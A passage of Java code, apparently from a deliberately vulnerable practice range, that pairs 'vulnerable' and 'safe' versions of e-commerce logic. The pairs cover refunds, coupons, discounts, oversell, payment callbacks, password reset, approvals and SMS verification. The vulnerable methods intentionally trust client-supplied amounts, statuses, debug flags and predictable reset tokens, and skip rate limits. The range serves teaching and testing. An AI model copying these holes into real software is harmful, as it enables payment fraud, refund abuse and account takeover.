不能为空"); + } + + CouponRecord coupon = coupons.get(request.getCouponCode()); + if (coupon == null) { + return message("优惠券不存在"); + } + if (coupon.redeemedUserIds.contains(acting.getId())) { + return message("当前用户已领取或使用过该优惠券"); + } + if (coupon.remaining <= 0) { + return message("优惠券额度已耗尽"); + } + + coupon.remaining--; + coupon.redeemedUserIds.add(acting.getId()); + double orderAmount = request.getOrderAmount() == null ? 299.0 : request.getOrderAmount().doubleValue(); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("couponCode", coupon.code); + data.put("remaining", coupon.remaining); + data.put("orderAmount", money(orderAmount)); + data.put("finalAmount", money(Math.max(0.0, orderAmount - coupon.discountAmount))); + data.put("message", "服务端按用户维度和库存额度做了单次核销校验"); + return data; + } + + public Map refundVulnerable(Long orderId, RefundRequest request) { + OrderRecord order = orders.get(orderId); + if (order == null) { + return message("订单不存在"); + } + if (request == null) { + request = new RefundRequest(); + } + + RefundLedger ledger = getOrCreateRefundLedger(orderId); + double amount = request.getRefundAmount() == null ? order.serverTotal() : request.getRefundAmount().doubleValue(); + ledger.totalRefunded += amount; + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", request.getActingUserId()); + data.put("order", order); + data.put("refundAmount", money(amount)); + data.put("totalRefunded", money(ledger.totalRefunded)); + data.put("warning", "没有归属、支付状态和幂等校验,同一退款请求可被重复重放"); + return data; + } + + public Map refundSafe(Long orderId, String token, RefundRequest request) { + OrderRecord order = orders.get(orderId); + UserAccount acting = requireToken(token); + if (order == null) { + return message("订单不存在"); + } + if (acting == null) { + return message("token 无效"); + } + if (!acting.getId().equals(order.getOwnerUserId()) && !"ADMIN".equals(acting.getRole())) { + return message("当前用户不能退款该订单"); + } + if (!"PAID".equals(order.getStatus())) { + return message("仅已支付订单可退款"); + } + if (request == null || blank(request.getIdempotencyKey())) { + return message("idempotencyKey 不能为空"); + } + + RefundLedger ledger = getOrCreateRefundLedger(orderId); + if (ledger.usedKeys.contains(request.getIdempotencyKey())) { + return message("命中幂等键,已阻止重复退款"); + } + + double amount = request.getRefundAmount() == null ? order.serverTotal() : request.getRefundAmount().doubleValue(); + double remain = order.serverTotal() - ledger.totalRefunded; + if (amount <= 0) { + return message("退款金额必须大于 0"); + } + if (amount > remain) { + return message("退款金额超过剩余可退额度"); + } + + ledger.totalRefunded += amount; + ledger.usedKeys.add(request.getIdempotencyKey()); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("order", order); + data.put("refundAmount", money(amount)); + data.put("totalRefunded", money(ledger.totalRefunded)); + data.put("remainingRefundable", money(Math.max(0.0, order.serverTotal() - ledger.totalRefunded))); + data.put("message", "服务端完成了归属、支付状态和幂等校验"); + return data; + } + + public Map calculateDiscountVulnerable(DiscountCalcRequest request) { + if (request == null) { + request = new DiscountCalcRequest(); + } + + double base = request.getBaseAmount() == null ? 299.0 : request.getBaseAmount().doubleValue(); + double couponAmount = request.getCouponAmount() == null ? 80.0 : request.getCouponAmount().doubleValue(); + double vipRate = request.getVipRate() == null ? 0.15 : request.getVipRate().doubleValue(); + double flashSaleRate = request.getFlashSaleRate() == null ? 0.20 : request.getFlashSaleRate().doubleValue(); + double pointsAmount = request.getPointsAmount() == null ? 50.0 : request.getPointsAmount().doubleValue(); + + double finalAmount = (base - couponAmount - pointsAmount) * (1 - vipRate) * (1 - flashSaleRate); + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("baseAmount", money(base)); + data.put("couponAmount", money(couponAmount)); + data.put("vipRate", vipRate); + data.put("flashSaleRate", flashSaleRate); + data.put("pointsAmount", money(pointsAmount)); + data.put("finalAmount", money(finalAmount)); + data.put("warning", "服务端允许优惠券、会员折扣、闪购和积分无限叠加,甚至可能出现负价"); + return data; + } + + public Map calculateDiscountSafe(DiscountCalcRequest request) { + if (request == null) { + request = new DiscountCalcRequest(); + } + + double base = request.getBaseAmount() == null ? 299.0 : request.getBaseAmount().doubleValue(); + double couponAmount = clampMoney(request.getCouponAmount() == null ? 80.0 : request.getCouponAmount().doubleValue()); + double vipRate = clampRate(request.getVipRate() == null ? 0.15 : request.getVipRate().doubleValue()); + double flashSaleRate = clampRate(request.getFlashSaleRate() == null ? 0.20 : request.getFlashSaleRate().doubleValue()); + double pointsAmount = clampMoney(request.getPointsAmount() == null ? 50.0 : request.getPointsAmount().doubleValue()); + + double bestRate = Math.max(vipRate, flashSaleRate); + double bestAmount = Math.max(couponAmount, pointsAmount); + double finalAmount = Math.max(0.01, base * (1 - bestRate) - bestAmount); + + List appliedRules = new ArrayList(); + appliedRules.add(bestRate == vipRate ? "会员折扣" : "闪购折扣"); + appliedRules.add(bestAmount == couponAmount ? "优惠券" : "积分抵扣"); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("baseAmount", money(base)); + data.put("bestRate", bestRate); + data.put("bestAmount", money(bestAmount)); + data.put("appliedRules", appliedRules); + data.put("finalAmount", money(finalAmount)); + data.put("message", "服务端限制折扣组合,只允许一类比例折扣与一类金额抵扣生效"); + return data; + } + + public Map negativeAmountVulnerable(NegativeAmountRequest request) { + if (request == null) { + request = new NegativeAmountRequest(); + } + int quantity = request.getQuantity() == null ? 1 : request.getQuantity().intValue(); + double unitPrice = request.getUnitPrice() == null ? 199.0 : request.getUnitPrice().doubleValue(); + double couponAmount = request.getCouponAmount() == null ? 20.0 : request.getCouponAmount().doubleValue(); + double originalAmount = quantity * unitPrice; + double payAmount = originalAmount - couponAmount; + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", request.getActingUserId()); + data.put("quantity", quantity); + data.put("unitPrice", money(unitPrice)); + data.put("couponAmount", money(couponAmount)); + data.put("originalAmount", money(originalAmount)); + data.put("payAmount", money(payAmount)); + data.put("warning", "服务端没有拦截负数数量、负数金额和异常优惠金额,可能出现倒贴或套利"); + return data; + } + + public Map negativeAmountSafe(NegativeAmountRequest request) { + if (request == null) { + return message("请求体不能为空"); + } + int quantity = request.getQuantity() == null ? 1 : request.getQuantity().intValue(); + double unitPrice = request.getUnitPrice() == null ? 199.0 : request.getUnitPrice().doubleValue(); + double couponAmount = request.getCouponAmount() == null ? 20.0 : request.getCouponAmount().doubleValue(); + if (quantity <= 0) { + return message("商品数量必须大于 0"); + } + if (unitPrice <= 0) { + return message("商品单价必须大于 0"); + } + if (couponAmount < 0) { + return message("优惠金额不能为负数"); + } + double originalAmount = quantity * unitPrice; + if (couponAmount > originalAmount) { + return message("优惠金额不能超过原始订单金额"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("quantity", quantity); + data.put("unitPrice", money(unitPrice)); + data.put("couponAmount", money(couponAmount)); + data.put("payAmount", money(originalAmount - couponAmount)); + data.put("message", "服务端已对数量、单价和优惠金额范围进行校验"); + return data; + } + + public Map oversellVulnerable(OversellRequest request) { + if (request == null || blank(request.getSkuCode())) { + return message("skuCode 不能为空"); + } + InventoryRecord inventory = inventoryStocks.get(request.getSkuCode()); + if (inventory == null) { + return message("库存商品不存在"); + } + int quantity = request.getPurchaseQuantity() == null ? 1 : request.getPurchaseQuantity().intValue(); + int parallel = request.getParallelRequests() == null ? 3 : request.getParallelRequests().intValue(); + int before = inventory.stock; + if (before <= 0) { + return message("库存不足"); + } + inventory.stock = inventory.stock - (quantity * parallel); + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("skuCode", inventory.skuCode); + data.put("productName", inventory.productName); + data.put("beforeStock", before); + data.put("purchaseQuantity", quantity); + data.put("parallelRequests", parallel); + data.put("afterStock", inventory.stock); + data.put("warning", "服务端先校验后扣减,且信任并发次数,容易出现库存超卖"); + return data; + } + + public Map oversellSafe(OversellRequest request) { + if (request == null || blank(request.getSkuCode())) { + return message("skuCode 不能为空"); + } + InventoryRecord inventory = inventoryStocks.get(request.getSkuCode()); + if (inventory == null) { + return message("库存商品不存在"); + } + int quantity = request.getPurchaseQuantity() == null ? 1 : request.getPurchaseQuantity().intValue(); + if (quantity <= 0) { + return message("购买数量必须大于 0"); + } + if (quantity > inventory.stock) { + return message("库存不足,无法完成扣减"); + } + int before = inventory.stock; + inventory.stock = inventory.stock - quantity; + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("skuCode", inventory.skuCode); + data.put("productName", inventory.productName); + data.put("beforeStock", before); + data.put("purchaseQuantity", quantity); + data.put("afterStock", inventory.stock); + data.put("message", "服务端按实际购买数量进行单次扣减并校验剩余库存"); + return data; + } + + public Map walletRefundVulnerable(Long orderId, WalletRefundRequest request) { + WalletOrderRecord order = walletOrders.get(orderId); + if (order == null) { + return message("钱包订单不存在"); + } + if (request == null) { + request = new WalletRefundRequest(); + } + WalletAccountRecord wallet = walletAccounts.get(order.ownerUserId); + double amount = request.getRefundAmount() == null ? order.amount : request.getRefundAmount().doubleValue(); + double before = wallet.balance; + wallet.balance += amount; + order.refunded = true; + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", request.getActingUserId()); + data.put("order", sanitizeWalletOrder(order)); + data.put("walletUserId", wallet.userId); + data.put("beforeBalance", money(before)); + data.put("refundAmount", money(amount)); + data.put("afterBalance", money(wallet.balance)); + data.put("warning", "服务端没有校验退款是否已完成,也没有幂等保护,余额可以被重复退回"); + return data; + } + + public Map walletRefundSafe(Long orderId, String token, WalletRefundRequest request) { + WalletOrderRecord order = walletOrders.get(orderId); + UserAccount acting = requireToken(token); + if (order == null) { + return message("钱包订单不存在"); + } + if (acting == null) { + return message("token 无效"); + } + if (!acting.getId().equals(order.ownerUserId)) { + return message("不能操作其他用户的钱包订单"); + } + if (request == null || blank(request.getIdempotencyKey())) { + return message("idempotencyKey 不能为空"); + } + if (order.usedRefundKeys.contains(request.getIdempotencyKey())) { + return message("命中幂等键,已阻止重复退款"); + } + if (order.refunded) { + return message("该钱包订单已完成退款"); + } + + double amount = request.getRefundAmount() == null ? order.amount : request.getRefundAmount().doubleValue(); + if (amount <= 0 || amount > order.amount) { + return message("退款金额不合法"); + } + WalletAccountRecord wallet = walletAccounts.get(order.ownerUserId); + double before = wallet.balance; + wallet.balance += amount; + order.refunded = true; + order.usedRefundKeys.add(request.getIdempotencyKey()); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("order", sanitizeWalletOrder(order)); + data.put("beforeBalance", money(before)); + data.put("refundAmount", money(amount)); + data.put("afterBalance", money(wallet.balance)); + data.put("message", "服务端校验了订单归属、退款状态和幂等键"); + return data; + } + + public Map debugBypassVulnerable(DebugBypassRequest request) { + if (request == null) { + request = new DebugBypassRequest(); + } + String before = debugTask.status; + if (Boolean.TRUE.equals(request.getDebugMode()) || Boolean.TRUE.equals(request.getSkipAudit())) { + debugTask.status = "APPROVED"; + } + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", request.getActingUserId()); + data.put("beforeStatus", before); + data.put("afterStatus", debugTask.status); + data.put("reason", request.getReason()); + data.put("warning", "服务端信任 debugMode 或 skipAudit 调试参数,导致审批被直接跳过"); + return data; + } + + public Map debugBypassSafe(DebugBypassRequest request, String token) { + UserAccount acting = requireToken(token); + if (acting == null) { + return message("token 无效"); + } + if (!"ADMIN".equals(acting.getRole())) { + return message("仅管理员可以执行审批操作"); + } + if (request == null || blank(request.getReason())) { + return message("reason 不能为空"); + } + String before = debugTask.status; + if (!"PENDING_AUDIT".equals(before)) { + return message("当前任务状态不允许重复审批"); + } + debugTask.status = "APPROVED"; + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("beforeStatus", before); + data.put("afterStatus", debugTask.status); + data.put("message", "安全版忽略调试参数,只允许管理员基于正式审批动作通过任务"); + return data; + } + + public Map paymentCallbackVulnerable(PaymentCallbackRequest request) { + if (request == null || blank(request.getOrderNumber())) { + return message("orderNumber 不能为空"); + } + PaymentOrderRecord order = paymentOrders.get(request.getOrderNumber()); + if (order == null) { + return message("支付订单不存在"); + } + if ("SUCCESS".equalsIgnoreCase(defaultString(request.getStatus()))) { + order.status = "PAID"; + order.lastCallbackAmount = request.getAmount() == null ? 0.0 : request.getAmount().doubleValue(); + } + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("order", sanitizePaymentOrder(order)); + data.put("callbackStatus", request.getStatus()); + data.put("callbackAmount", request.getAmount()); + data.put("warning", "服务端只看状态字段就把订单标记为已支付,没有校验签名、金额和商户号"); + return data; + } + + public Map paymentCallbackSafe(PaymentCallbackRequest request) { + if (request == null || blank(request.getOrderNumber())) { + return message("orderNumber 不能为空"); + } + PaymentOrderRecord order = paymentOrders.get(request.getOrderNumber()); + if (order == null) { + return message("支付订单不存在"); + } + if (!"SUCCESS".equalsIgnoreCase(defaultString(request.getStatus()))) { + return message("仅处理成功支付回调"); + } + if (request.getAmount() == null || Math.abs(request.getAmount().doubleValue() - order.amount) > 0.001) { + return message("回调金额与订单金额不一致"); + } + if (!order.merchantId.equals(request.getMerchantId())) { + return message("商户号不匹配"); + } + String expectedSign = paymentSign(order.orderNumber, order.amount, order.merchantId); + if (!expectedSign.equals(defaultString(request.getSign()))) { + return message("支付回调签名校验失败"); + } + order.status = "PAID"; + order.lastCallbackAmount = request.getAmount().doubleValue(); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("order", sanitizePaymentOrder(order)); + data.put("message", "安全版已校验金额、商户号与签名后再更新订单状态"); + data.put("expectedDemoSign", expectedSign); + return data; + } + + public Map sendResetVulnerable(PasswordResetSendRequest request) { + if (request == null || blank(request.getUsername())) { + return message("username 不能为空"); + } + ResetAccount account = resetAccounts.get(request.getUsername()); + if (account == null) { + return message("重置账号不存在"); + } + + String token = "reset-" + account.username; + resetTokensVul.put(token, new ResetTokenRecord(token, account.username, System.currentTimeMillis() + 24 * 60 * 60 * 1000L)); + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("username", account.username); + data.put("resetToken", token); + data.put("warning", "重置令牌可预测,可被重复使用,且提交时还能改 targetUsername"); + return data; + } + + public Map confirmResetVulnerable(PasswordResetConfirmRequest request) { + if (request == null || blank(request.getToken()) || blank(request.getNewPassword())) { + return message("token 和 newPassword 不能为空"); + } + ResetTokenRecord tokenRecord = resetTokensVul.get(request.getToken()); + if (tokenRecord == null) { + return message("重置令牌不存在"); + } + + String targetUsername = blank(request.getTargetUsername()) ? tokenRecord.username : request.getTargetUsername(); + ResetAccount account = resetAccounts.get(targetUsername); + if (account == null) { + return message("目标账号不存在"); + } + account.password = request.getNewPassword(); + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("tokenOwner", tokenRecord.username); + data.put("targetUsername", targetUsername); + data.put("newPassword", account.password); + data.put("warning", "令牌未绑定目标账号,也没有单次使用和过期校验"); + return data; + } + + public Map sendResetSafe(PasswordResetSendRequest request) { + if (request == null || blank(request.getUsername())) { + return message("username 不能为空"); + } + ResetAccount account = resetAccounts.get(request.getUsername()); + if (account == null) { + return message("重置账号不存在"); + } + + String token = UUID.randomUUID().toString().replace("-", ""); + long expiresAt = System.currentTimeMillis() + 2 * 60 * 1000L; + resetTokensSafe.put(token, new ResetTokenRecord(token, account.username, expiresAt)); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("username", account.username); + data.put("resetToken", token); + data.put("expiresInSeconds", 120); + data.put("message", "安全版令牌随机生成、带有效期且只绑定单一账号"); + return data; + } + + public Map confirmResetSafe(PasswordResetConfirmRequest request) { + if (request == null || blank(request.getToken()) || blank(request.getNewPassword())) { + return message("token 和 newPassword 不能为空"); + } + ResetTokenRecord tokenRecord = resetTokensSafe.get(request.getToken()); + if (tokenRecord == null) { + return message("重置令牌不存在"); + } + if (tokenRecord.used) { + return message("重置令牌已被使用"); + } + if (tokenRecord.expiresAt < System.currentTimeMillis()) { + return message("重置令牌已过期"); + } + if (!blank(request.getTargetUsername()) && !tokenRecord.username.equals(request.getTargetUsername())) { + return message("重置令牌与目标账号不匹配"); + } + if (request.getNewPassword().trim().length() < 8) { + return message("新密码长度至少为 8 位"); + } + + ResetAccount account = resetAccounts.get(tokenRecord.username); + if (account == null) { + return message("账号不存在"); + } + account.password = request.getNewPassword().trim(); + tokenRecord.used = true; + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("username", account.username); + data.put("newPassword", account.password); + data.put("message", "安全版令牌已校验绑定关系、有效期和单次使用状态"); + return data; + } + + public Map approvalVulnerable(Long taskId, ApprovalRequest request) { + ApprovalTaskRecord task = approvalTasks.get(taskId); + if (task == null) { + return message("审批任务不存在"); + } + if (request == null) { + request = new ApprovalRequest(); + } + + String targetStatus = blank(request.getTargetStatus()) ? "APPROVED" : request.getTargetStatus().trim().toUpperCase(Locale.ROOT); + task.status = targetStatus; + task.history.add("漏洞版:用户 " + request.getActingUserId() + " 直接把状态改成 " + targetStatus); + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("task", sanitizeApproval(task)); + data.put("warning", "服务端信任 targetStatus,审批流可被直接跳步"); + return data; + } + + public Map approvalSafe(Long taskId, ApprovalRequest request, String token) { + ApprovalTaskRecord task = approvalTasks.get(taskId); + UserAccount acting = requireToken(token); + if (task == null) { + return message("审批任务不存在"); + } + if (acting == null) { + return message("token 无效"); + } + if (request == null || blank(request.getAction())) { + return message("action 不能为空"); + } + + String action = request.getAction().trim().toUpperCase(Locale.ROOT); + if ("SUBMIT".equals(action) && "DRAFT".equals(task.status) && acting.getId().equals(task.creatorUserId)) { + task.status = "PENDING_MANAGER"; + task.history.add("安全版:创建人提交审批"); + } else if ("APPROVE".equals(action) && "PENDING_MANAGER".equals(task.status) && "ADMIN".equals(acting.getRole())) { + task.status = "APPROVED"; + task.history.add("安全版:管理员审批通过"); + } else if ("REJECT".equals(action) && "PENDING_MANAGER".equals(task.status) && "ADMIN".equals(acting.getRole())) { + task.status = "REJECTED"; + task.history.add("安全版:管理员驳回审批"); + } else { + return message("当前状态和角色不允许执行该审批动作"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("task", sanitizeApproval(task)); + data.put("message", "审批流按固定动作推进,不能直接指定目标状态"); + return data; + } + + public Map orderStateVulnerable(Long orderId, OrderStateChangeRequest request) { + WorkflowOrderRecord order = workflowOrders.get(orderId); + if (order == null) { + return message("工作流订单不存在"); + } + if (request == null) { + request = new OrderStateChangeRequest(); + } + + String targetStatus = blank(request.getTargetStatus()) ? "COMPLETED" : request.getTargetStatus().trim().toUpperCase(Locale.ROOT); + String previous = order.status; + order.status = targetStatus; + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("actingUserId", request.getActingUserId()); + data.put("fromStatus", previous); + data.put("toStatus", targetStatus); + data.put("order", sanitizeWorkflowOrder(order)); + data.put("warning", "服务端直接信任 targetStatus,订单可以越过中间状态"); + return data; + } + + public Map orderStateSafe(Long orderId, OrderStateChangeRequest request, String token) { + WorkflowOrderRecord order = workflowOrders.get(orderId); + UserAccount acting = requireToken(token); + if (order == null) { + return message("工作流订单不存在"); + } + if (acting == null) { + return message("token 无效"); + } + if (request == null || blank(request.getAction())) { + return message("action 不能为空"); + } + + String action = request.getAction().trim().toUpperCase(Locale.ROOT); + if ("PAY".equals(action) && "CREATED".equals(order.status) && acting.getId().equals(order.ownerUserId)) { + order.status = "PAID"; + } else if ("SHIP".equals(action) && "PAID".equals(order.status) && "ADMIN".equals(acting.getRole())) { + order.status = "SHIPPED"; + } else if ("COMPLETE".equals(action) && "SHIPPED".equals(order.status) && acting.getId().equals(order.ownerUserId)) { + order.status = "COMPLETED"; + } else { + return message("当前状态与角色不允许执行该流转"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("viewer", sanitizeUser(acting)); + data.put("order", sanitizeWorkflowOrder(order)); + data.put("message", "订单必须按 CREATED -> PAID -> SHIPPED -> COMPLETED 顺序流转"); + return data; + } + + public Map info() { + Map data = new LinkedHashMap(); + data.put("users", sanitizeUsers(users.values())); + data.put("profiles", new ArrayList(profiles.values())); + data.put("orders", new ArrayList(orders.values())); + data.put("smsUsers", smsProfiles()); + data.put("couponLabs", couponSnapshot()); + data.put("refundLabs", refundSnapshot()); + data.put("resetAccounts", resetAccountSnapshot()); + data.put("approvalTasks", approvalSnapshot()); + data.put("workflowOrders", workflowOrderSnapshot()); + data.put("inventoryLabs", inventorySnapshot()); + data.put("walletLabs", walletSnapshot()); + data.put("debugLab", debugSnapshot()); + data.put("paymentLabs", paymentSnapshot()); + data.put("scenarios", scenarioList()); + return data; + } + + public Map sendSmsVulnerable(SmsSendRequest request) { + if (request == null || blank(request.getPhoneNumber())) { + return message("phoneNumber 不能为空"); + } + + String code = newCode(); + SmsChallenge challenge = new SmsChallenge(request.getPhoneNumber(), code, false, 0); + smsChallengesVul.put(request.getPhoneNumber(), challenge); + vulIssuedCodes.add(challenge); + int sentCount = increaseCounter(smsSendCounterVul, request.getPhoneNumber()); + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("phoneNumber", request.getPhoneNumber()); + data.put("smsCode", code); + data.put("sendCount", sentCount); + data.put("warning", "验证码直接回显给前端,且旧验证码仍然有效"); + return data; + } + + public Map verifySmsVulnerable(SmsVerifyRequest request) { + if (request == null || blank(request.getPhoneNumber()) || blank(request.getSmsCode())) { + return message("phoneNumber 和 smsCode 不能为空"); + } + + SmsChallenge matched = null; + for (SmsChallenge challenge : vulIssuedCodes) { + if (request.getSmsCode().trim().equals(challenge.code)) { + matched = challenge; + break; + } + } + if (matched == null) { + return message("验证码错误"); + } + + UserAccount account = findByPhone(request.getPhoneNumber()); + if (account == null) { + return message("手机号未找到对应用户"); + } + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("targetPhone", request.getPhoneNumber()); + data.put("matchedCodeFromPhone", matched.phoneNumber); + data.put("user", sanitizeUser(account)); + data.put("warning", "验证码没有与手机号绑定,且成功后仍可重复使用"); + return data; + } + + public Map sendSmsSafe(SmsSendRequest request) { + if (request == null || blank(request.getPhoneNumber())) { + return message("phoneNumber 不能为空"); + } + + int currentCount = smsSendCounterSafe.containsKey(request.getPhoneNumber()) + ? smsSendCounterSafe.get(request.getPhoneNumber()) : 0; + if (currentCount >= 3) { + return message("发送过于频繁,安全版已触发限流"); + } + + String code = newCode(); + SmsChallenge challenge = new SmsChallenge(request.getPhoneNumber(), code, false, 5); + smsChallengesSafe.put(request.getPhoneNumber(), challenge); + int sentCount = increaseCounter(smsSendCounterSafe, request.getPhoneNumber()); + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("phoneNumber", request.getPhoneNumber()); + data.put("sendCount", sentCount); + data.put("demoCode", code); + data.put("message", "安全版不会回显正式验证码;当前字段仅用于靶场演示"); + return data; + } + + public Map verifySmsSafe(SmsVerifyRequest request) { + if (request == null || blank(request.getPhoneNumber()) || blank(request.getSmsCode())) { + return message("phoneNumber 和 smsCode 不能为空"); + } + + SmsChallenge challenge = smsChallengesSafe.get(request.getPhoneNumber()); + if (challenge == null) { + return message("请先发送验证码"); + } + if (challenge.used) { + return message("验证码已失效,请重新获取"); + } + if (!request.getSmsCode().trim().equals(challenge.code)) { + challenge.remainingAttempts--; + if (challenge.remainingAttempts <= 0) { + smsChallengesSafe.remove(request.getPhoneNumber()); + return message("验证码已失效,请重新获取"); + } + return message("验证码错误,剩余尝试次数:" + challenge.remainingAttempts); + } + + UserAccount account = findByPhone(request.getPhoneNumber()); + if (account == null) { + return message("手机号未找到对应用户"); + } + + challenge.used = true; + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("phoneNumber", request.getPhoneNumber()); + data.put("user", sanitizeUser(account)); + data.put("message", "安全版验证码与手机号绑定,验证成功后立即作废"); + return data; + } + + public Map smsBombVulnerable(String phoneNumber, Integer batch) { + if (blank(phoneNumber)) { + return message("phoneNumber 不能为空"); + } + + int times = batch == null || batch.intValue() <= 0 ? 5 : batch.intValue(); + List issuedCodes = new ArrayList(); + for (int i = 0; i < times; i++) { + String code = newCode(); + SmsChallenge challenge = new SmsChallenge(phoneNumber, code, false, 0); + smsChallengesVul.put(phoneNumber, challenge); + vulIssuedCodes.add(challenge); + issuedCodes.add(code); + increaseCounter(smsSendCounterVul, phoneNumber); + } + + Map data = new LinkedHashMap(); + data.put("mode", "vulnerable"); + data.put("phoneNumber", phoneNumber); + data.put("batch", times); + data.put("sendCount", smsSendCounterVul.get(phoneNumber)); + data.put("issuedCodes", issuedCodes); + data.put("warning", "漏洞版没有图形验证码、冷却时间和发送频控,容易被短信轰炸"); + return data; + } + + public Map smsBombSafe(String phoneNumber, Integer batch) { + if (blank(phoneNumber)) { + return message("phoneNumber 不能为空"); + } + + int requested = batch == null || batch.intValue() <= 0 ? 5 : batch.intValue(); + int allowed = 3; + int current = smsSendCounterSafe.containsKey(phoneNumber) ? smsSendCounterSafe.get(phoneNumber) : 0; + + Map data = new LinkedHashMap(); + data.put("mode", "safe"); + data.put("phoneNumber", phoneNumber); + data.put("requestedBatch", requested); + data.put("alreadySent", current); + if (current >= allowed) { + data.put("actualSent", 0); + data.put("remainingQuota", 0); + data.put("message", "安全版命中频率限制,本轮请求被拦截"); + return data; + } + + int actual = Math.min(requested, allowed - current); + for (int i = 0; i < actual; i++) { + increaseCounter(smsSendCounterSafe, phoneNumber); + } + data.put("actualSent", actual); + data.put("remainingQuota", allowed - smsSendCounterSafe.get(phoneNumber)); + data.put("message", "安全版对单手机号做了发送频控"); + return data; + } + + private UserAccount findByUsername(String username) { + if (username == null) { + return null; + } + for (UserAccount user : users.values()) { + if (username.equals(user.getUsername())) { + return user; + } + } + return null; + } + + private String issueToken(Long userId) { + String token = "logic-" + UUID.randomUUID().toString().replace("-", ""); + tokens.put(token, userId); + return token; + } + + private UserAccount requireToken(String token) { + if (token == null) { + return null; + } + Long userId = tokens.get(token); + if (userId == null) { + return null; + } + return users.get(userId); + } + + private Map sanitizeUser(UserAccount user) { + Map data = new LinkedHashMap(); + data.put("id", user.getId()); + data.put("username", user.getUsername()); + data.put("displayName", user.getDisplayName()); + data.put("role", user.getRole()); + data.put("email", user.getEmail()); + return data; + } + + private List> sanitizeUsers(Collection accounts) { + List> list = new ArrayList>(); + for (UserAccount account : accounts) { + list.add(sanitizeUser(account)); + } + return list; + } + + private Map tokenResponse(UserAccount user, String token, String reason, boolean vulnerable) { + Map data = new LinkedHashMap(); + data.put("token", token); + data.put("user", sanitizeUser(user)); + data.put("reason", reason); + data.put("mode", vulnerable ? "vulnerable" : "safe"); + return data; + } + + private Map buildAdminReport() { + Map data = new LinkedHashMap(); + data.put("registeredUsers", users.size()); + data.put("paidOrders", countOrdersByStatus("PAID")); + data.put("createdOrders", countOrdersByStatus("CREATED")); + data.put("highValueCustomers", new ArrayList>(sanitizeUsers(users.values()).subList(0, 2))); + return data; + } + + private int countOrdersByStatus(String status) { + int count = 0; + for (OrderRecord order : orders.values()) { + if (status.equals(order.getStatus())) { + count++; + } + } + return count; + } + + private RefundLedger getOrCreateRefundLedger(Long orderId) { + RefundLedger ledger = refundLedgers.get(orderId); + if (ledger == null) { + ledger = new RefundLedger(orderId, 0.0); + refundLedgers.put(orderId, ledger); + } + return ledger; + } + + private List> couponSnapshot() { + List> list = new ArrayList>(); + for (CouponRecord coupon : coupons.values()) { + Map item = new LinkedHashMap(); + item.put("couponCode", coupon.code); + item.put("discountAmount", coupon.discountAmount); + item.put("remaining", coupon.remaining); + item.put("redeemedUserIds", new ArrayList(coupon.redeemedUserIds)); + list.add(item); + } + return list; + } + + private List> refundSnapshot() { + List> list = new ArrayList>(); + for (RefundLedger ledger : refundLedgers.values()) { + Map item = new LinkedHashMap(); + item.put("orderId", ledger.orderId); + item.put("totalRefunded", money(ledger.totalRefunded)); + item.put("usedKeys", new ArrayList(ledger.usedKeys)); + list.add(item); + } + return list; + } + + private List> resetAccountSnapshot() { + List> list = new ArrayList>(); + for (ResetAccount account : resetAccounts.values()) { + Map item = new LinkedHashMap(); + item.put("username", account.username); + item.put("displayName", account.displayName); + item.put("password", account.password); + list.add(item); + } + return list; + } + + private List> approvalSnapshot() { + List> list = new ArrayList>(); + for (ApprovalTaskRecord task : approvalTasks.values()) { + list.add(sanitizeApproval(task)); + } + return list; + } + + private List> workflowOrderSnapshot() { + List> list = new ArrayList>(); + for (WorkflowOrderRecord order : workflowOrders.values()) { + list.add(sanitizeWorkflowOrder(order)); + } + return list; + } + + private List> inventorySnapshot() { + List> list = new ArrayList>(); + for (InventoryRecord inventory : inventoryStocks.values()) { + Map item = new LinkedHashMap(); + item.put("skuCode", inventory.skuCode); + item.put("productName", inventory.productName); + item.put("stock", inventory.stock); + list.add(item); + } + return list; + } + + private List> walletSnapshot() { + List> list = new ArrayList>(); + for (WalletOrderRecord order : walletOrders.values()) { + list.add(sanitizeWalletOrder(order)); + } + return list; + } + + private Map debugSnapshot() { + Map item = new LinkedHashMap(); + item.put("taskId", debugTask.taskId); + item.put("title", debugTask.title); + item.put("status", debugTask.status); + return item; + } + + private List> paymentSnapshot() { + List> list = new ArrayList>(); + for (PaymentOrderRecord order : paymentOrders.values()) { + list.add(sanitizePaymentOrder(order)); + } + return list; + } + + private Map sanitizeApproval(ApprovalTaskRecord task) { + Map item = new LinkedHashMap(); + item.put("taskId", task.taskId); + item.put("title", task.title); + item.put("creatorUserId", task.creatorUserId); + item.put("status", task.status); + item.put("history", new ArrayList(task.history)); + return item; + } + + private Map sanitizeWorkflowOrder(WorkflowOrderRecord order) { + Map item = new 